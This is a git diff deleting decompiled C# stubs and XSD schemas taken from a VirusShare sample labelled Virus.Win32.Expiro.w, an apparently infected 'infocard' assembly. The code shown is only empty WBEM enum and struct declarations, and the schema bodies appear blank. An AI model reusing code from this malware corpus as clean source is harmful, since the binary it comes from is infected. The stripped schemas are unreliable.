C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_CONDITION_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_CONNECT_OPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_CONNECT_OPTIONS.cs deleted file mode 100644 index b4ca7851..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_CONNECT_OPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_CONNECT_OPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tag_WBEM_CONNECT_OPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_FLAVOR_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_FLAVOR_TYPE.cs deleted file mode 100644 index 25496ed1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_FLAVOR_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_FLAVOR_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tag_WBEM_FLAVOR_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_GENERIC_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_GENERIC_FLAG_TYPE.cs deleted file mode 100644 index 10c4bc1a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_GENERIC_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_GENERIC_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_GENERIC_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_GENUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_GENUS_TYPE.cs deleted file mode 100644 index f1245a59..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_GENUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_GENUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_GENUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_INFORMATION_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_INFORMATION_FLAG_TYPE.cs deleted file mode 100644 index 74d9442b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_INFORMATION_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_INFORMATION_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_WBEM_INFORMATION_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_LIMITATION_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_LIMITATION_FLAG_TYPE.cs deleted file mode 100644 index df7f9c2d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_LIMITATION_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_LIMITATION_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_LIMITATION_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_LIMITS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_LIMITS.cs deleted file mode 100644 index 693bebec..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_LIMITS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_LIMITS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_WBEM_LIMITS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_LOCKING.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_LOCKING.cs deleted file mode 100644 index 36218407..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_LOCKING.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_LOCKING -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_WBEM_LOCKING -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_QUERY_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_QUERY_FLAG_TYPE.cs deleted file mode 100644 index a9cf9b90..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_QUERY_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_QUERY_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tag_WBEM_QUERY_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_REFRESHER_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_REFRESHER_FLAGS.cs deleted file mode 100644 index 02588523..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_REFRESHER_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_REFRESHER_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_REFRESHER_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_SECURITY_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_SECURITY_FLAGS.cs deleted file mode 100644 index 40a8e9e2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_SECURITY_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_SECURITY_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_SECURITY_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_SHUTDOWN_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_SHUTDOWN_FLAGS.cs deleted file mode 100644 index 2a376f92..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_SHUTDOWN_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_SHUTDOWN_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tag_WBEM_SHUTDOWN_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_STATUS_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_STATUS_TYPE.cs deleted file mode 100644 index c1d2909d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_STATUS_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_STATUS_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_WBEM_STATUS_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_TEXT_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_TEXT_FLAG_TYPE.cs deleted file mode 100644 index dd3c6b91..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_TEXT_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_TEXT_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tag_WBEM_TEXT_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_TIMEOUT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_TIMEOUT_TYPE.cs deleted file mode 100644 index 6985befb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_TIMEOUT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_TIMEOUT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_TIMEOUT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_UNSECAPP_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_UNSECAPP_FLAG_TYPE.cs deleted file mode 100644 index 5d1133c5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WBEM_UNSECAPP_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_UNSECAPP_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_UNSECAPP_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WMI_OBJ_TEXT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WMI_OBJ_TEXT.cs deleted file mode 100644 index 54120f75..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tag_WMI_OBJ_TEXT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WMI_OBJ_TEXT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WMI_OBJ_TEXT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tm.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tm.cs deleted file mode 100644 index 8e375931..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tm.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tm -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 36)] -internal struct tm -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/type_info.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/type_info.cs deleted file mode 100644 index 08c17317..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/type_info.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: type_info -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[UnsafeValueType] -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 12)] -internal struct type_info -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-identity-2007.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-identity-2007.xsd deleted file mode 100644 index 2740c95b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-identity-2007.xsd +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-policy-2007.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-policy-2007.xsd deleted file mode 100644 index d2de4d0d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-policy-2007.xsd +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-policy.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-policy.xsd deleted file mode 100644 index e5faa306..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-policy.xsd +++ /dev/null @@ -1,118 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-securitypolicy-1/2.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-securitypolicy-1/2.xsd deleted file mode 100644 index a70f4d62..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ws-securitypolicy-1/2.xsd +++ /dev/null @@ -1,1113 +0,0 @@ - - - - - - - - - - - - - 4.1.1 SignedParts Assertion - - - - - - - 4.2.1 EncryptedParts Assertion - - - - - - - - - - - - - - - - - - - - - - 4.1.2 SignedElements Assertion - - - - - - - 4.2.2 EncryptedElements Assertion - - - - - - - 4.3.1 RequiredElements Assertion - - - - - - - - - - - - - - - - - 5.1 Token Inclusion - - - - - - - - - - - - - - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - - - - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - 5.3.1 UsernameToken Assertion - - - - - - - - - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - - - - - - - - - - - - - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - 5.3.2 IssuedToken Assertion - - - - - - - - 5.3.3 X509Token Assertion - - - - - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion - - - - - - - 5.3.3 X509Token Assertion 